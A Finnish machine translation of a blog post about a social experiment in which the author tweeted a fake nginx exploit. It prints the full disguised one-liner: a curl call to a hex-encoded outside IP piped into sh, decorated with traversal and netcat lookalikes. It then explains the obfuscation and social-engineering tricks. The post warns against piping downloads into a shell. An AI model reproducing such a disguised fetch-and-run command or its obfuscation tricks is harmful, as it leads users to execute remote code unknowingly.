Sosiaalisen kokeilun menestys väärennetyllä hyväksikäytöllä nginxille

Huomautus. käännös: Kirjoittaja 1. kesäkuuta julkaistu alkuperäinen muistio päätti tehdä kokeen tietoturvasta kiinnostuneiden keskuudessa. Tätä varten hän valmisteli väärennetyn hyväksikäytön verkkopalvelimen julkistamatonta haavoittuvuutta varten ja julkaisi sen Twitterissään. Hänen oletuksensa - tulla välittömästi paljastamaan asiantuntijat, jotka näkivät koodissa ilmeisen petoksen - eivät vain toteutuneet... Ne ylittivät kaikki odotukset, ja päinvastaiseen suuntaan: twiitti sai valtavan tuen lukuisilta ihmisiltä, ​​jotka eivät tarkista sen sisältö.

Sosiaalisen kokeilun menestys väärennetyllä hyväksikäytöllä nginxille

TL;DR: Älä käytä tiedostojen liukuhihnaa sh- tai bash-muodossa missään olosuhteissa. Tämä on loistava tapa menettää tietokoneen hallinta.

Haluan jakaa kanssasi lyhyen tarinan sarjakuvasta PoC-hyökkäämisestä, joka luotiin 31. toukokuuta. Hän ilmestyi nopeasti vastauksena uutisiin Alisa Esage Shevchenko, jäsen Zero Day -aloite (ZDI), tiedot NGINX:n haavoittuvuudesta, joka johtaa RCE:hen (koodin etäsuoritukseen), julkaistaan ​​pian. Koska NGINX toimii monilla verkkosivustoilla, uutisten on täytynyt olla pommi. Mutta "vastuullisen paljastamisen" prosessin viivästysten vuoksi tapahtuneen yksityiskohdat eivät olleet tiedossa - tämä on tavallinen ZDI-menettely.

Sosiaalisen kokeilun menestys väärennetyllä hyväksikäytöllä nginxille
twiittaa NGINX:n haavoittuvuuden paljastamisesta

Valmistuttuani uuden tummuustekniikan parissa curlissa lainasin alkuperäistä twiittiä ja "vuotain toimivan PoC:n", joka koostuu yhdestä koodirivistä, jonka oletetaan hyödyntävän löydettyä haavoittuvuutta. Tämä oli tietysti täyttä hölynpölyä. Oletin, että tulen heti paljastetuksi ja että parhaimmillaan saan pari uudelleentwiittaa (no niin).

Sosiaalisen kokeilun menestys väärennetyllä hyväksikäytöllä nginxille
twiittaa väärennetyllä hyväksikäytöllä

En kuitenkaan voinut kuvitella, mitä seuraavaksi tapahtui. Twiittini suosio nousi pilviin. Yllättäen tällä hetkellä (15 Moskovan aikaa 00. kesäkuuta) harvat ovat ymmärtäneet, että tämä on väärennös. Monet ihmiset uudelleentwiittaavat sen tarkistamatta sitä ollenkaan (puhumattakaan sen tuottaman ihanan ASCII-grafiikan ihailusta).

Sosiaalisen kokeilun menestys väärennetyllä hyväksikäytöllä nginxille
Katsokaa vain kuinka kaunis se on!

Vaikka kaikki nämä silmukat ja värit ovat mahtavia, on selvää, että ihmisten piti suorittaa koodi koneellaan nähdäkseen ne. Onneksi selaimet toimivat samalla tavalla, ja yhdistettynä siihen, että en todellakaan halunnut joutua oikeudellisiin ongelmiin, sivustolleni haudattu koodi teki vain kaikukutsuja yrittämättä asentaa tai suorittaa lisäkoodia.

Pieni poikkeama: netsooky, DNZ, minä ja muut joukkueen kaverit Thugcrowd Olemme leikkineet eri tavoilla hämärtää curl-komentoja jo jonkin aikaa, koska se on siistiä... ja olemme nörttiä. netspooky ja dnz löysivät useita uusia menetelmiä, jotka vaikuttivat minusta erittäin lupaavilta. Liityin hauskanpitoon ja yritin lisätä IP-desimaalimuunnoksia temppujen joukkoon. Osoittautuu, että IP voidaan muuntaa myös heksadesimaalimuotoon. Lisäksi curl ja useimmat muut NIX-työkalut syövät mielellään heksadesimaalisia IP-osoitteita! Joten kyse oli vain vakuuttavan ja turvallisen näköisen komentorivin luomisesta. Lopulta päädyin tähän:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Sosioelektroninen suunnittelu (SEE) – enemmän kuin pelkkä tietojenkalastelu

Turvallisuus ja tuttuus olivat tärkeä osa tätä kokeilua. Uskon, että ne johtivat hänen menestykseensä. Komentorivi tarkoitti selvästi turvallisuutta viittaamalla "127.0.0.1":een (tunnettu localhost). Localhostia pidetään turvallisena, ja sen tiedot eivät koskaan poistu tietokoneeltasi.

Tuttuus oli kokeen toinen tärkeä SEE-komponentti. Koska kohdeyleisö koostui ensisijaisesti tietoturvan perusteisiin perehtyneistä henkilöistä, oli tärkeää luoda koodi niin, että osa siitä tuntui tutulta ja tutulta (ja siksi turvalliselta). Vanhojen hyväksikäyttökonseptien elementtien lainaaminen ja niiden yhdistäminen epätavallisella tavalla on osoittautunut erittäin onnistuneeksi.

Alla on yksityiskohtainen analyysi yksivuorisesta. Kaikki tällä listalla kuluu kosmeettinen luonne, eikä sen varsinaiseen toimintaan tarvita käytännössä mitään.

Mitä komponentteja todella tarvitaan? Tämä -gsS, -O 0x0238f06a, |sh ja itse web-palvelin. Web-palvelin ei sisältänyt haitallisia ohjeita, vaan palveli vain ASCII-grafiikkaa komentojen avulla echo sisältämässä käsikirjoituksessa index.html. Kun käyttäjä syötti rivin kanssa |sh keskellä, index.html ladattu ja suoritettu. Onneksi verkkopalvelimen ylläpitäjillä ei ollut pahoja aikomuksia.

  • ../../../%00 — edustaa hakemiston ulkopuolelle menemistä;
  • ngx_stream_module.so — polku satunnaiseen NGINX-moduuliin;
  • /bin/sh%00<'protocol:TCP' - Oletettavasti käynnistämme /bin/sh kohdekoneessa ja ohjaa ulostulo TCP-kanavalle;
  • -O 0x0238f06a#PLToffset - salainen ainesosa, täydennettynä #PLToffset, näyttää PLT:n sisältämältä muistipoikkeamalta;
  • |sh; - toinen tärkeä osa. Meidän piti ohjata tulos uudelleen sh/bashiin suorittaaksemme koodin, joka tulee hyökkäävältä verkkopalvelimelta, joka sijaitsee osoitteessa 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - nukke, johon netcat viittaa /dev/tcp/localhostjotta kaikki näyttää jälleen turvalliselta. Itse asiassa se ei tee mitään ja sisältyy kauneussarjaan.

Tämä päättää yksirivisen skriptin dekoodauksen ja keskustelun "sosiaalis-elektronisen suunnittelun" (monimutkaisesta tietojenkalastelu) näkökohdista.

Web-palvelimen konfigurointi ja vastatoimenpiteet

Koska suurin osa tilaajistani on infosec/hakkereita, päätin tehdä verkkopalvelimesta hieman vastustuskykyisemmän heidän "kiinnostuksenilmauksilleen", jotta kavereilla olisi tekemistä (ja se olisi hauskaa perustaa). En aio luetella kaikkia sudenkuoppia tässä, koska kokeilu on vielä kesken, mutta tässä on muutamia asioita, joita palvelin tekee:

  • Valvoo aktiivisesti jakeluyrityksiä tietyissä sosiaalisissa verkostoissa ja korvaa erilaisia ​​esikatselukuvia kannustaakseen käyttäjää napsauttamaan linkkiä.
  • Ohjaa Chromen/Mozillan/Safarin/etc:n Thugcrowd-mainosvideoon komentosarjan näyttämisen sijaan.
  • Tarkkailee ILMEISTÄ tunkeutumisen/räikeän hakkeroinnin merkkejä ja alkaa sitten ohjata pyyntöjä NSA-palvelimille (ha!).
  • Asentaa troijalaisen sekä BIOS-rootkitin kaikkiin tietokoneisiin, joiden käyttäjät vierailevat isännässä tavallisesta selaimesta (vitsinä!).

Sosiaalisen kokeilun menestys väärennetyllä hyväksikäytöllä nginxille
Pieni osa antimeerejä

Tässä tapauksessa ainoa tavoitteeni oli hallita joitain Apachen ominaisuuksia - erityisesti hienot säännöt pyyntöjen uudelleenohjausta varten - ja ajattelin: miksi ei?

NGINX Exploit (todellinen!)

Tilaa @alisaesage Twitterissä ja seuraa ZDI:n hienoa työtä NGINX:n todellisten haavoittuvuuksien korjaamisessa ja mahdollisuuksien hyödyntämisessä. Heidän työnsä on aina kiehtonut minua, ja olen kiitollinen Alicelle hänen kärsivällisyydestään kaikkien tyhmän twiittini aiheuttamien mainintojen ja ilmoitusten kanssa. Onneksi se teki myös hyvää: se auttoi lisäämään tietoisuutta NGINX-haavoittuvuuksista sekä curl-käytön aiheuttamista ongelmista.

Lähde: will.com

Lisää kommentti